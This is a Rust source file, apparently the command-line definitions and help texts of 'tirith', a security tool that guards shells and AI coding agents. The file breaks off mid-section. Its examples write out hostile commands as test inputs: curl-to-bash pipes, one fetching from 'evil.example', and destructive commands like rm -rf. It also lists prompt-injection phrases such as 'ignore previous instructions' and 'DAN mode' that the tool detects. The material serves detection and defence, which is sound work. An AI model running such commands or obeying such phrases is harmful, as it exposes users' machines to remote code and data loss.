        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Show remediation and interactively apply a verified rewrite when available
    #[command(after_help = "\
Thin presenter over `tirith_core::safe_command::suggest_verified_for_cli_inline_with_policy_and_session()`
— the same verified engine backing `tirith check --suggest`. Compatible
remediations are composed and the exact final command is re-analyzed under the
same shell, context, and policy. Only a verified Allow result from the typed,
fail-closed pipe runner is exposed as `safe_command` or printed on stdout. This
executable form additionally requires x86_64 Linux and the currently running
Tirith binary at a fixed, root-managed system path; otherwise it is guidance.
Archive, dotfile, TLS/HTTP, sudo, environment, and package-name changes are
guidance-only.

For Fish, PowerShell, or Cmd, pass the command as one already-formed string after
`--`; multi-argument reconstruction is refused because POSIX quoting cannot
preserve those shell grammars exactly.

When no complete Allow rewrite is possible (homograph hostnames, threat-DB
hits, or a partial transform that still triggers another rule), `fix` prints
the honest per-rule remediation instead of fabricating an executable command.
Detection lives in the engine; `fix` adds zero heuristics of its own.

Exit codes (deliberately distinct from `tirith check`):
  0  no fix needed (verdict was Allow) OR user accepted a rewrite
  1  findings exist but no mechanical rewrite is available
  2  user rejected the rewrite, JSON write failed, stdin/stderr is not a TTY
     while a rewrite is available, or JSON/non-interactive output contains a
     verified rewrite that cannot be accepted in that mode

`check` uses 0/1/2/3 (allow/block/warn/warn-ack — tied to verdict severity);
`fix`'s codes are tied to whether a rewrite was applied. The two surfaces
are deliberately different.

JSON shape (`--json` / `--non-interactive`):
  - No findings → object: {applied, reason, verdict, command}
  - Findings present → plain array of SafeSuggestion (matches the
    `safe_suggestions` array embedded in `tirith check --suggest --json`);
    `safe_command` is omitted for guidance-only or partial transforms

Examples:
  tirith fix -- 'curl -fsSL https://example.com/install.sh | bash'
  tirith fix --shell bash -- 'curl -fsSL https://example.com/install.sh | bash'
  tirith fix --non-interactive -- 'ls -la'
  tirith fix --json --non-interactive -- 'curl -fsSL https://example.com/install.sh | bash'")]
    Fix {
        /// Shell type for tokenization (default: posix)
        #[arg(long, default_value = "posix")]
        shell: String,

        /// Non-interactive: emit JSON (the strict superset of human output)
        /// and never prompt. Implies the JSON shape regardless of `--json`.
        #[arg(long)]
        non_interactive: bool,

        /// Alias for the non-interactive JSON output mode
        #[arg(long, hide = true)]
        json: bool,

        /// Command to fix. POSIX parts preserve argv boundaries; Fish,
        /// PowerShell, and Cmd require one already-formed command string.
        #[arg(allow_hyphen_values = true, trailing_var_arg = true)]
        command: Vec<String>,
    },

    /// Run as MCP server (JSON-RPC over stdio)
    #[command(
        name = "mcp-server",
        after_help = "\
Examples:
  tirith mcp-server
  tirith mcp-server --unsafe-unsanitized-tool-output

Used by MCP client configurations to run tirith as a local tool server.

Tool and resource-read output is routed through the output-direction analyzer
before reaching the calling agent. A high-severity finding blocks: OSC52
clipboard writes and hyperlink mismatches among them, where the content is
replaced by a safe placeholder citing the audit event_id. A medium-severity
finding warns: hidden text and fake shell prompts among them, where the content
is byte-sanitized and carries a notice citing the same event_id.
`--unsafe-unsanitized-tool-output` restores the legacy pass-through only for
compatibility and is not recommended."
    )]
    McpServer {
        /// Compatibility spelling retained from the former opt-in behavior.
        /// Output sanitization is already enabled by default.
        #[arg(long, conflicts_with = "unsafe_unsanitized_tool_output")]
        sanitize_tool_output: bool,

        /// UNSAFE compatibility mode: forward tool/resource output without the
        /// output-direction analyzer.
        #[arg(long, conflicts_with = "sanitize_tool_output")]
        unsafe_unsanitized_tool_output: bool,
    },

    /// Govern the MCP servers a repository declares
    #[command(after_help = "\
Captures and governs the Model Context Protocol (MCP) servers a repository
declares across its MCP configuration files — .mcp.json / mcp.json /
mcp_settings.json and the IDE variants under .vscode/, .cursor/, .windsurf/,
.cline/, .amazonq/, .continue/, .kiro/.

`tirith mcp lock` writes a deterministic lockfile at .tirith/mcp.lock recording
every declared MCP server — its name, transport (a remote URL, or a local
command + args), and declared tools — plus a content hash per server and over
the whole inventory. The lockfile is diff-friendly: servers are sorted by name,
so a `git diff` shows exactly what changed in the repo's MCP surface.

`tirith mcp verify` gates on drift: it loads the committed lockfile, rebuilds
the current inventory, and exits non-zero when the two differ. `tirith mcp
diff` shows the same drift informationally (always exits 0).

This is a local file operation — no network, off the detection hot path.
Discovery is repo-local only: user-level configs (e.g. ~/.claude/) are never
inventoried.

Examples:
  tirith mcp lock
  tirith mcp lock --format json
  tirith mcp verify
  tirith mcp diff --format json")]
    Mcp {
        #[command(subcommand)]
        action: McpAction,
    },

    /// Inspect and govern per-agent identity (observability surface)
    #[command(after_help = "\
Surfaces the agent governance signal recorded with every tirith verdict:
`AgentOrigin` — Human / Agent / Mcp / Gateway / Ci / Ide — captured from
`TIRITH_INTEGRATION`, MCP `clientInfo`, CI heuristics, and the gateway code
path. Every signal is **operator-trust** (caller-claimed); see
docs/agent-governance-design.md for the honest threat model.

`tirith agent sessions` lists recent audit log entries grouped by origin
with per-group counts, last-seen timestamps, and a (Allow / Warn / Block)
histogram. `tirith agent explain` drills into one session ID or partial
command. `tirith agent policy init` scaffolds an opt-in
`.tirith/agent-policy.yaml.example` from observed origins. `tirith agent
allow` validates and emits a matcher snippet for the policy.

**Enforcement is live.** Chunk 2 shipped the surface and the policy
schema; chunk 3 wired `agent_rules` into verdict gating via
`escalation::apply_agent_rules`. A non-bypass verdict whose
`agent_origin` matches a `deny` entry is now forced to Block (with a
`RuleId::AgentDeniedByPolicy` finding attached); a matching `allow` is
recorded but does NOT bypass an existing Block (`allow` is reserved for
richer matcher payloads in a future chunk). Test changes in a non-CI
shell before rolling out.

Examples:
  tirith agent sessions
  tirith agent sessions --format json
  tirith agent explain claude-code
  tirith agent policy init
  tirith agent allow --kind agent --tool claude-code")]
    Agent {
        #[command(subcommand)]
        action: AgentAction,
    },

    /// MCP gateway proxy — intercepts shell tool calls for security analysis
    #[command(after_help = "\
Examples:
  tirith gateway run --upstream-bin npx --upstream-arg @modelcontextprotocol/server-filesystem --config gateway.yaml
  tirith gateway validate-config --config gateway.yaml

`gateway run` requires the Unix strict execution-state backend. On Windows it
refuses before reading the run config or starting the upstream process;
`gateway validate-config` remains available cross-platform.")]
    Gateway {
        #[command(subcommand)]
        action: GatewayAction,
    },

    /// Configure tirith protection for an AI coding tool
    #[command(after_help = "\
Examples:
  tirith setup claude-code --with-mcp
  tirith setup cursor
  tirith setup cline
  tirith setup continue
  tirith setup roo-code
  tirith setup openhands
  tirith setup grok-build --scope user
  tirith setup omp
  tirith setup opencode
  tirith setup fx
  tirith setup prime-agent
  tirith setup copilot-cli
  tirith setup kiro --scope user
  tirith setup claude-code --dry-run")]
    Setup {
        /// Tool to configure: claude-code, cline, codex, copilot-cli, continue, cursor, fx, gemini-cli, grok-build, kiro, omp, openclaw, opencode, openhands, pi-cli, prime-agent, roo-code, vscode, windsurf
        tool: String,

        /// Scope: project (default for most tools) or user
        #[arg(long)]
        scope: Option<String>,

        /// Also register tirith MCP server (Claude Code and Gemini CLI; MCP-only clients register it automatically)
        #[arg(long)]
        with_mcp: bool,

        /// Append zshenv guard to ~/.zshenv (default: print snippet only)
        #[arg(long)]
        install_zshenv: bool,

        /// Show what would be written without writing
        #[arg(long)]
        dry_run: bool,

        /// Overwrite existing files and update stale entries
        #[arg(long)]
        force: bool,

        /// Refresh embedded hook scripts and gateway config to latest defaults.
        /// WARNING: overwrites local edits to generated hook scripts and gateway.yaml.
        /// Does not re-register MCP servers or modify shell profiles — use full setup for that.
        #[arg(long)]
        update_configs: bool,
    },

    /// Manage security policies
    #[command(after_help = "\
Examples:
  tirith policy init
  tirith policy validate
  tirith policy test 'curl https://example.com | bash'
  tirith policy tune --from-audit")]
    Policy {
        #[command(subcommand)]
        action: PolicyAction,
    },

    /// Test, validate, and explain custom detection rules (regex + when-DSL)
    #[command(after_help = "\
Custom rules live under `custom_rules:` in .tirith/policy.yaml. Each carries
EITHER a `pattern:` regex OR a `when:` semantic-predicate clause (the DSL).

`tirith rule validate` checks the custom RULES (pattern-XOR-when, predicate
shape, and that each rule's declared `context:` covers its predicates). For
whole-policy-FILE structure checks, use `tirith policy validate` instead.

Examples:
  tirith rule test --rule block-unknown-curl-to-shell --input 'curl https://evil.example/foo | bash'
  tirith rule validate
  tirith rule validate --path .tirith/policy.yaml
  tirith rule explain --rule block-unknown-curl-to-shell")]
    Rule {
        #[command(subcommand)]
        action: RuleAction,
    },

    /// Audit log management: export, stats, compliance reports, verify (Team)
    #[command(after_help = "\
Examples:
  tirith audit export
  tirith audit export --format csv --since 2025-01-01
  tirith audit stats --format json
  tirith audit report --format html > report.html
  tirith audit verify
  tirith audit verify --expected-head <sha256>")]
    Audit {
        #[command(subcommand)]
        action: AuditAction,
    },

    /// Activate a license key
    #[command(after_help = "\
Examples:
  tirith activate <license-key>")]
    Activate {
        /// The signed license token
        key: String,
    },

    /// Show or manage license status
    #[command(after_help = "\
Examples:
  tirith license
  tirith license --format json")]
    License {
        #[command(subcommand)]
        action: Option<LicenseAction>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Log a hook telemetry event (called by hook scripts, always exits 0)
    #[command(hide = true)]
    HookEvent {
        /// Integration name (e.g., claude-code, cursor, vscode)
        #[arg(long)]
        integration: String,
        /// Hook type (e.g., pre_tool_use, before_shell_execution)
        #[arg(long)]
        hook_type: String,
        /// Event name (e.g., check_ok, check_block, warn_allowed, timeout)
        #[arg(long)]
        event: String,
        /// Hook-level timing in milliseconds
        #[arg(long)]
        elapsed_ms: Option<f64>,
        /// Freeform detail text
        #[arg(long)]
        detail: Option<String>,
    },

    /// Manage trusted patterns (allowlist entries with scope, TTL, and audit)
    #[command(after_help = "\
Trust is narrow and expiring by default: trust the most specific thing that
works, and entries expire after 30d unless you pass --permanent. A broad
pattern (whole domain, wildcard, bare TLD) requires --broad.

Examples:
  tirith trust add raw.githubusercontent.com/org/repo/main/get.sh
  tirith trust add example.com --broad --ttl 7d
  tirith trust add get.docker.com --broad --rule curl_pipe_shell --permanent
  tirith trust list --format json --expired
  tirith trust explain example.com
  tirith trust diff
  tirith trust gc --expired
  tirith trust remove example.com")]
    Trust {
        #[command(subcommand)]
        action: TrustAction,
    },

    /// Show accumulated session warnings
    #[command(after_help = "\
Examples:
  tirith warnings
  tirith warnings --format json
  tirith warnings --hidden")]
    Warnings {
        /// Clear session warnings after display
        #[arg(long)]
        clear: bool,

        /// Override session ID
        #[arg(long)]
        session: Option<String>,

        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,

        /// One-line summary (for shell exit hooks)
        #[arg(long, conflicts_with = "format", conflicts_with = "json")]
        summary: bool,

        /// Show findings hidden by paranoia filtering
        #[arg(long)]
        hidden: bool,
    },

    /// Score a package's provenance / maintainer risk
    #[command(after_help = "\
Scores a package the way `tirith score` scores a URL: a deterministic,
fully explainable sum of named factors — no model, no learned weights.

Offline by default: name signals come from the local threat database, and
content signals (install scripts, bundled binary blobs) only from a package
directory you already have on disk. `--online` additionally consults the
package's registry API (npm / PyPI / crates.io) for provenance signals;
`--offline` / TIRITH_OFFLINE forces offline even with `--online`.

Examples:
  tirith package risk npm react
  tirith package risk pypi reqeusts
  tirith package risk npm left-pad --path ./node_modules/left-pad
  tirith package risk --online npm express
  tirith package explain npm express
  tirith package explain --format json pypi requests")]
    Package {
        #[command(subcommand)]
        action: PackageAction,
    },

    /// Scan a project's dependency manifests for supply-chain risk
    #[command(after_help = "\
Walks a project directory, parses every dependency manifest it understands
(npm, Python, Rust, Go, Ruby), and scores every declared dependency with the
same deterministic engine as `tirith package risk` — plus a slopsquat
(AI-hallucinated package name) heuristic. Offline by default; --online adds
registry-API provenance signals. Findings are policy-aware and audit-logged.

Examples:
  tirith ecosystem scan
  tirith ecosystem scan ./my-project
  tirith ecosystem scan --online ./my-project
  tirith ecosystem scan --format json ./my-project")]
    Ecosystem {
        #[command(subcommand)]
        action: EcosystemAction,
    },

    /// Manage the threat intelligence database
    #[command(
        name = "threat-db",
        visible_alias = "threatdb",
        after_help = "\
Examples:
  tirith threat-db update
  tirith threat-db status --format json
  tirith threat-db explain react
  tirith threat-db sources
  tirith threat-db health
  tirith threat-db diff --since 2026-01-01"
    )]
    ThreatDb {
        #[command(subcommand)]
        action: ThreatDbAction,
    },

    /// Diagnose tirith installation and configuration
    #[command(after_help = "\
Examples:
  tirith doctor
  tirith doctor --fix
  tirith doctor --fix --yes
  tirith doctor --compat
  tirith doctor --simulate-enter")]
    Doctor {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(
            long,
            hide = true,
            conflicts_with = "format",
            conflicts_with = "fix",
            conflicts_with = "reset_bash_safe_mode"
        )]
        json: bool,
        /// Remove persistent bash safe-mode flag (re-enables enter mode)
        #[arg(long, conflicts_with = "format")]
        reset_bash_safe_mode: bool,
        /// Auto-fix detected issues
        #[arg(long, conflicts_with = "format")]
        fix: bool,
        /// Auto-approve all fixes (no prompting)
        #[arg(long, requires = "fix")]
        yes: bool,
        /// Run the bash enter-mode delivery self-test and cache the result
        #[arg(
            long,
            conflicts_with = "format",
            conflicts_with = "json",
            conflicts_with = "fix",
            conflicts_with = "reset_bash_safe_mode"
        )]
        simulate_enter: bool,
        /// Print a focused shell/terminal compatibility report (supports
        /// --format json). Mutually exclusive with --fix, --simulate-enter,
        /// and --reset-bash-safe-mode.
        #[arg(
            long,
            conflicts_with = "fix",
            conflicts_with = "simulate_enter",
            conflicts_with = "reset_bash_safe_mode"
        )]
        compat: bool,

        /// Write a redacted diagnostic bundle to a file and print its path.
        /// The bundle (doctor info, tirith + hook versions, shell/mode/effective
        /// protection, hook-chain state, policy discovery, threat-DB status, and
        /// relevant environment) is safe to attach to a bug report: secrets,
        /// tokens, and the literal home-directory path are redacted. Accepts the
        /// aliases --redacted-report and --shell-trace. Mutually exclusive with
        /// --fix, --simulate-enter, --reset-bash-safe-mode, and --compat.
        #[arg(
            long,
            visible_alias = "redacted-report",
            visible_alias = "shell-trace",
            conflicts_with = "fix",
            conflicts_with = "simulate_enter",
            conflicts_with = "reset_bash_safe_mode",
            conflicts_with = "compat"
        )]
        bundle: bool,

        /// Fast status only (protection_mode, policy_path_used, hook_configured);
        /// skips DB/log/baseline probes. Read-only and safe to poll (the VS
        /// Code extension polls `--quick --format json` ~every 30s). Compatible
        /// with --format json / --json; mutually exclusive with the mutating
        /// flags (--fix, --reset-bash-safe-mode) and the other report modes.
        #[arg(
            long,
            conflicts_with = "fix",
            conflicts_with = "reset_bash_safe_mode",
            conflicts_with = "simulate_enter",
            conflicts_with = "compat",
            conflicts_with = "bundle"
        )]
        quick: bool,
    },

    /// Generate shell completions
    #[command(hide = true)]
    Completions {
        /// Shell to generate completions for
        #[arg(value_enum)]
        shell: clap_complete::Shell,
    },

    /// Run tirith as an LSP server over stdio (for IDE extensions)
    #[command(after_help = "\
Runs a Language Server Protocol server over stdin/stdout so an editor extension
can surface tirith diagnostics inline as you edit. The server analyzes each
opened/changed document according to its file type (AI-config files like
CLAUDE.md, install-doc markdown, source code, and .log files) and publishes
diagnostics for the suspicious URLs, hidden instructions, trojan-source
homoglyphs, and credentials it finds. It reads only the editor's in-memory text
and never reaches the network.

This command speaks the LSP wire protocol on stdio; run it from an editor's LSP
client, not interactively.")]
    Lsp,

    /// Generate man page
    #[command(hide = true)]
    Manpage,

    /// Verify the running tirith binary's integrity and provenance
    #[command(after_help = "\
Verifies that the tirith binary you are running is the genuine, unmodified
binary from an official release. It re-downloads the release archive for this
exact version, checks it against the signed release checksums.txt (and the
cosign signature when cosign is installed), and confirms the running binary is
byte-identical to the official one.

If full verification is not possible — a local dev build, no network, an
unknown install — it says so HONESTLY rather than reporting a false 'verified'.

This command reaches the network; it does so only when you run it.

Examples:
  tirith verify-self
  tirith verify-self --format json")]
    VerifySelf {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Update tirith to the latest release (package-manager aware)
    #[command(after_help = "\
Updates tirith to the latest release. tirith detects how it was installed:

  * Package-manager installs (Homebrew, cargo, npm, Scoop, AUR, apt/dnf) are
    NEVER self-modified — tirith prints the exact command to run instead.
  * A self-replaceable install (the install.sh tarball, a standalone binary, or
    a securely owned Hermes-cached release) is updated in place: tirith
    downloads the release, verifies its cosign signature, then performs an
    atomic swap, keeping the previous binary so --rollback can revert.

By default the release's cosign signature is REQUIRED: if it cannot be verified
(cosign missing, or the release published no signature) the update aborts. Pass
--allow-unsigned to fall back to checksum-only verification (a checksum mismatch
still always aborts).

This command reaches the network; it does so only when you run it.

Examples:
  tirith update
  tirith update --allow-unsigned
  tirith update --rollback
  tirith update --dry-run")]
    Update {
        /// Allow a checksum-only update when the cosign signature cannot be
        /// verified (cosign missing, or no signature published). By default the
        /// signature is mandatory and the update aborts without it. A checksum
        /// mismatch always aborts regardless of this flag.
        #[arg(long)]
        allow_unsigned: bool,

        /// Revert to the previously-installed binary (self-replaceable installs
        /// only). Conflicts with --allow-unsigned.
        #[arg(long, conflicts_with = "allow_unsigned")]
        rollback: bool,

        /// Show what would happen without changing anything.
        #[arg(long)]
        dry_run: bool,

        /// Skip the confirmation prompt.
        #[arg(long)]
        yes: bool,

        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Show the running binary's version and provenance
    #[command(after_help = "\
Examples:
  tirith version
  tirith version --provenance
  tirith version --provenance --format json")]
    Version {
        /// Show full provenance: build info, detected install method, and the
        /// (offline) verification status. Run `tirith verify-self` for full
        /// networked verification.
        #[arg(long)]
        provenance: bool,

        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Render a file with terminal-deception sequences neutralized
    #[command(after_help = "\
Streams the file in 64 KiB chunks, neutralizes ANSI / OSC / DCS escape
sequences and zero-width characters in the displayed output, and flags
output-direction deception attacks (OSC 52 clipboard write, OSC 8 hyperlink
mismatch, hidden text via fg==bg SGR, fake-prompt injection, screen-clear,
title rewrite).

The default scan cap is 16 MiB. Use --max-bytes to scan larger files (and
accept the per-byte work that entails).

Examples:
  tirith view /var/log/system.log
  tirith view --json --max-bytes 33554432 /tmp/build.log
  cat /tmp/file | tirith view -")]
    View {
        /// File to view. Use `-` (or omit) to read stdin.
        path: Option<String>,

        /// Maximum bytes to scan. Default 16 MiB.
        #[arg(long, default_value_t = cli::view::DEFAULT_MAX_BYTES)]
        max_bytes: u64,

        /// Output the verdict as JSON instead of human-readable text.
        #[arg(long)]
        json: bool,
    },

    /// Manage opt-in output-direction protections
    #[command(after_help = "\
Subcommands:
  tirith output wrap on | off | status   — install/remove the `tirith-out`
                                           shell wrapper that pipes a single
                                           command's stdout/stderr through
                                           `tirith view`.

Honesty: the wrapper applies to INDIVIDUAL commands invoked via
`tirith-out <cmd>`. It does NOT intercept output from anything run outside
the wrapper.

Examples:
  tirith output wrap on | off | status")]
    Output {
        #[command(subcommand)]
        action: OutputAction,
    },

    /// Redact a file before sharing it externally (M7 ch2)
    #[command(after_help = "\
Audience presets control what gets stripped IN ADDITION to credentials
(which are always stripped):

  github-issue  — strips credentials + internal hostnames
                  (`*.corp`, `*.internal`, `*.local`, `*.lan`).
                  Preserves repo paths, stack traces, line numbers.
  slack         — same as github-issue.
  llm           — strips credentials only. Preserves stack traces, line
                  numbers, repo paths, /home/<user>. An LLM benefits
                  from this context for debugging.
  public-paste  — MOST aggressive: also strips /home/<user>,
                  /Users/<user>, and RFC1918 private IPs that appear in
                  hostname context (e.g. `server 10.0.0.5`). Public DNS
                  like 1.1.1.1 is left alone.
  generic       — same as llm. Safe default when no audience is known.

The redacted content goes to stdout (or --out <path> if given). A
per-label summary of how many items were removed prints to stderr. With
--json, the envelope is `{ redacted_content, redactions: [...] }`.

Customer / tenant / case IDs are repo-specific and NOT shipped as
built-ins; configure them via `policy.share.customer_id_patterns`.

Examples:
  tirith share --target llm ./fixture.log
  tirith share --target public-paste --out ./safe.log ./fixture.log
  tirith share --target github-issue --json ./fixture.log")]
    Share {
        /// File to redact. Use `-` (or omit) to read stdin.
        path: Option<String>,

        /// Audience preset: github-issue | slack | llm | public-paste | generic.
        #[arg(long, value_parser = clap::builder::PossibleValuesParser::new(tirith_core::redact::ShareAudience::cli_values()))]
        target: String,

        /// Write redacted content to this file instead of stdout. Use `-`
        /// for stdout (the default).
        #[arg(long)]
        out: Option<String>,

        /// Output a `{ redacted_content, redactions: [...] }` JSON envelope.
        #[arg(long)]
        json: bool,
    },

    /// Read stdin, write redacted content to stdout (M7 ch2)
    #[command(after_help = "\
Streams stdin → stdout, applying the same audience-aware redaction engine
as `tirith share`. Useful for pipelines:

  cat error.log | tirith redact --audience slack | pbcopy
  kubectl logs my-pod | tirith redact --audience public-paste > safe.log

See `tirith share --help` for what each audience strips.

Examples:
  cat ./fixture.log | tirith redact --audience slack
  cat ./fixture.log | tirith redact --audience public-paste --json")]
    Redact {
        /// Audience preset: github-issue | slack | llm | public-paste | generic.
        #[arg(long, value_parser = clap::builder::PossibleValuesParser::new(tirith_core::redact::ShareAudience::cli_values()))]
        audience: String,

        /// Output a `{ redacted_content, redactions: [...] }` JSON envelope.
        #[arg(long)]
        json: bool,
    },

    /// Read/write/scan the system clipboard with secret-shape gating (M7 ch3)
    #[command(after_help = "\
Subcommands:
  tirith clipboard copy <file>                 — copy file contents to
                                                  the clipboard; refuses when
                                                  the file contains secret-
                                                  shaped data. Use --redact
                                                  --audience <a> to copy a
                                                  sanitized version instead.
  tirith clipboard scan                        — read the current clipboard
                                                  and print a paste verdict.
  tirith clipboard guard install-service       — print (and on --apply write)
                                                  the OS-correct service
                                                  unit that drives the
                                                  background polling daemon.
                                                  macOS: launchd plist.
                                                  Linux: systemd --user unit.
                                                  Windows: not supported in
                                                  service mode.
  tirith clipboard guard uninstall-service     — remove the unit.
  tirith clipboard guard status                — report whether the service
                                                  is installed + loaded.
  tirith clipboard watch                       — poll the clipboard and report
                                                  the browser source of each new
                                                  copy (needs the companion
                                                  extension; M12).

Why a service unit, not a shell-profile `&` background:
  Spawning the daemon from ~/.zshrc via `&` orphans processes on
  subshells, double-runs on window reload, and gives `uninstall` no
  clean-shutdown handle. We ship the launchd / systemd path only.
  Operators who still want the manual escape hatch can run
  `tirith clipboard daemon --foreground &` themselves.

Headless behavior:
  Linux without X/Wayland (CI, SSH) → no clipboard backend → soft
  degrade with a documented `no_backend` envelope. Exit code stays 0
  under --json so CI hygiene runs don't trip.

Examples:
  tirith clipboard copy ./snippet.sh
  tirith clipboard copy --redact --audience public-paste ./fixture.log
  tirith clipboard scan --json
  tirith clipboard guard install-service
  tirith clipboard guard install-service --apply
  tirith clipboard guard uninstall-service
  tirith clipboard guard status
  tirith clipboard watch
  tirith clipboard watch --json")]
    Clipboard {
        #[command(subcommand)]
        action: ClipboardAction,
    },

    /// Scan / summarize / redact log files for agent-safety review (M7 ch5)
    #[command(after_help = "\
Subcommands:
  tirith logs scan       — run the file-scan + credential engine over a log
                           file. Flags prompt-injection seeds, secrets,
                           ANSI/zero-width terminal-deception bytes. Exits 1
                           on any finding.
  tirith logs summarize  — produce a compressed view of a log file. With
                           `--safe-for-agent`, also redacts secrets /
                           internal hostnames / customer IDs and strips
                           ANSI escape sequences. Truncates to
                           `--max-lines` (default 200) keeping head+tail.
  tirith logs redact     — share-engine wrapper for log content. Same
                           audience-aware DLP shape as `tirith share`.

Honesty on prompt injection:
  `scan` uses the M7 ch5 prompt-injection seed catalog — well-known
  phrases like \"ignore previous instructions\", \"act as <role>\",
  \"system:\", \"DAN mode\". This catches the EASY cases and is NOT a
  complete defense. Sophisticated injections (encoded payloads,
  paraphrases, cross-language) will slip past. Treat every line of
  agent output as untrusted regardless of whether the rule fired.

Streaming:
  `summarize --safe-for-agent` and `redact` use fixed-size reads and
  bounded cross-line private-key state. A logical line or private-key
  block over 1 MiB fails closed. `scan` reads up to 64 MiB.

Examples:
  tirith logs scan ./error.log
  tirith logs scan --json ./agent-trace.log
  tirith logs summarize ./build.log
  tirith logs summarize --safe-for-agent --max-lines 100 ./build.log
  tirith logs redact --audience llm ./error.log
  tirith logs redact --audience public-paste --json ./error.log")]
    Logs {
        #[command(subcommand)]
        action: LogsAction,
    },

    /// Inspect / guard / label your active cloud + k8s contexts (M8 ch1)
    #[command(after_help = "\
Subcommands:
  tirith context status                         — list the currently-active
                                                  kube / aws / gcp / azure
                                                  contexts and their labels.
  tirith context guard on | off | status        — flip the context-guard rule
                                                  on or off in your local
                                                  policy.yaml (single boolean
                                                  key — never round-trips the
                                                  whole policy file).
  tirith context label <provider:context>       — label a provider:context
        <criticality> [--scope user|repo]         entry (e.g.
                                                  `kube:prod-us-east critical`).
                                                  --scope user writes to
                                                  ~/.config/tirith/context-labels.yaml,
                                                  --scope repo writes to
                                                  <repo>/.tirith/context-labels.yaml.

Labels live in a DEDICATED labels file, NOT policy.yaml:
  The labels file is a flat YAML map. We never modify policy.yaml when
  writing labels — operators hand-edit that file with comments and a
  specific key order; round-tripping it would lose those.

Honest scope:
  Labels are operator-trust, not adversary-resistant. The labels file is
  user-writable; anyone with shell access can re-label a context. tirith
  context is for catching operational footguns (`kubectl delete namespace
  payments` on the wrong cluster), not for stopping someone who already
  has root.

Examples:
  tirith context status
  tirith context status --json
  tirith context guard on
  tirith context guard status
  tirith context label kube:prod-us-east critical --scope user
  tirith context label aws:prod production --scope repo")]
    Context {
        #[command(subcommand)]
        action: ContextAction,
    },

    /// Guard / inspect IaC apply gates for Terraform / Pulumi / OpenTofu (M8 ch3)
    #[command(after_help = "\
Subcommands:
  tirith iac guard on | off | status                  — flip the shared
                                                        operational-context
                                                        switch (same flag
                                                        as `tirith context
                                                        guard`).
  tirith iac check-plan <tfplan>                      — parse the saved plan,
        [--tool terraform|pulumi|tofu]                  record its SHA-256 in
                                                        the per-process plan
                                                        store, and report
                                                        create / update /
                                                        destroy counts +
                                                        IAM / SG / public-bucket
                                                        flags.
  tirith iac require-plan-before-apply                — toggle the
        on | off | status                               plan-before-apply gate.
                                                        When ON,
                                                        `terraform apply`
                                                        without a saved plan
                                                        is High; mismatched
                                                        plan hashes block too.

What it catches:
  `terraform apply -auto-approve` (or `pulumi up --yes`, `tofu apply
  -auto-approve`) — Medium outside production, High inside production
  (resolved through `tirith context status`).

  `terraform destroy` against a labeled-prod context — High.

  `terraform apply tfplan` where the file hash does NOT match a
  `tirith iac check-plan`-recorded entry, when
  `iac_require_plan_before_apply` is on — High.

Plan source:
  `tirith iac check-plan` shells out to `terraform show -json <plan>` /
  `tofu show -json <plan>` with a 5s timeout (plans can be large).
  Pulumi plans are read directly because `pulumi preview --json` is
  already JSON. The shell-out NEVER happens on the engine hot path;
  only `tirith iac check-plan` invokes it.

Plan cache:
  Records go under `state_dir()/iac_plans/<sha256>.json`. Plans older
  than 7 days are dropped on each `check-plan` invocation.

Examples:
  tirith iac guard on
  tirith iac guard status
  tirith iac require-plan-before-apply on
  tirith iac require-plan-before-apply status
  tirith iac check-plan tfplan
  tirith iac check-plan --tool pulumi ./plan.json")]
    Iac {
        #[command(subcommand)]
        action: IacAction,
    },

    /// Inspect / guard / label SSH hosts for remote-session protection (M8 ch2)
    #[command(after_help = "\
Subcommands:
  tirith ssh guard on | off | status        — flip the operational-context
                                              rule (shared switch with
                                              `tirith context guard`).
  tirith ssh label <host> <criticality>     — label a host (or user@host)
        [--scope user|repo]                   with a criticality string.
                                              `~/.ssh/config` aliases are
                                              resolved at label time via
                                              `ssh -G <host>`; the labels
                                              file always stores the final
                                              hostname.

Labels live in a DEDICATED labels file, NOT policy.yaml:
  --scope user → ~/.config/tirith/ssh-host-labels.yaml
  --scope repo → <repo>/.tirith/ssh-host-labels.yaml

What it catches:
  `ssh prod-host '<destructive>'` — when the target host is labeled
  critical / production, destructive inner commands (sudo systemctl
  stop, rm -rf, dd, useradd, kubectl delete, ...) fire a High finding.
  Bare `ssh prod-host` emits an Info reminder that tirith protects the
  LOCAL shell only — post-handshake commands are not intercepted.

`tirith ssh bootstrap <user@host>` (auto-install hook on the remote
side) is DEFERRED to M8.1 — running it today exits 2 with a pointer.

Honest scope:
  Labels are operator-trust, not adversary-resistant. The labels file
  is user-writable; anyone with shell access can re-label a host.
  tirith ssh is for catching operational footguns, not for stopping
  someone who already has root.

Examples:
  tirith ssh guard on
  tirith ssh guard status
  tirith ssh label payments-prod-01 critical --scope user
  tirith ssh label root@payments-prod-01 critical --scope repo")]
    Ssh {
        #[command(subcommand)]
        action: SshAction,
    },

    /// Guard / inspect sudo-escalation gates (M8 ch4)
    #[command(after_help = "\
Subcommands:
  tirith sudo guard on | off | status              — flip the shared
                                                     operational-context
                                                     switch (same flag
                                                     as `tirith context
                                                     guard`).
  tirith sudo session start [--ttl 30m]            — open a tagged sudo
        [--reason \"…\"]                            session window. When
                                                     `sudo_require_reason`
                                                     is on, an active
                                                     session downgrades
                                                     the M8 ch4 sudo rules
                                                     from High to Medium.
  tirith sudo session end                          — clear the session.
  tirith sudo session status                       — report active or
                                                     inactive + remaining
                                                     TTL.
  tirith sudo require-reason on | off | status     — toggle the
                                                     `sudo_require_reason`
                                                     gate.

What it catches:
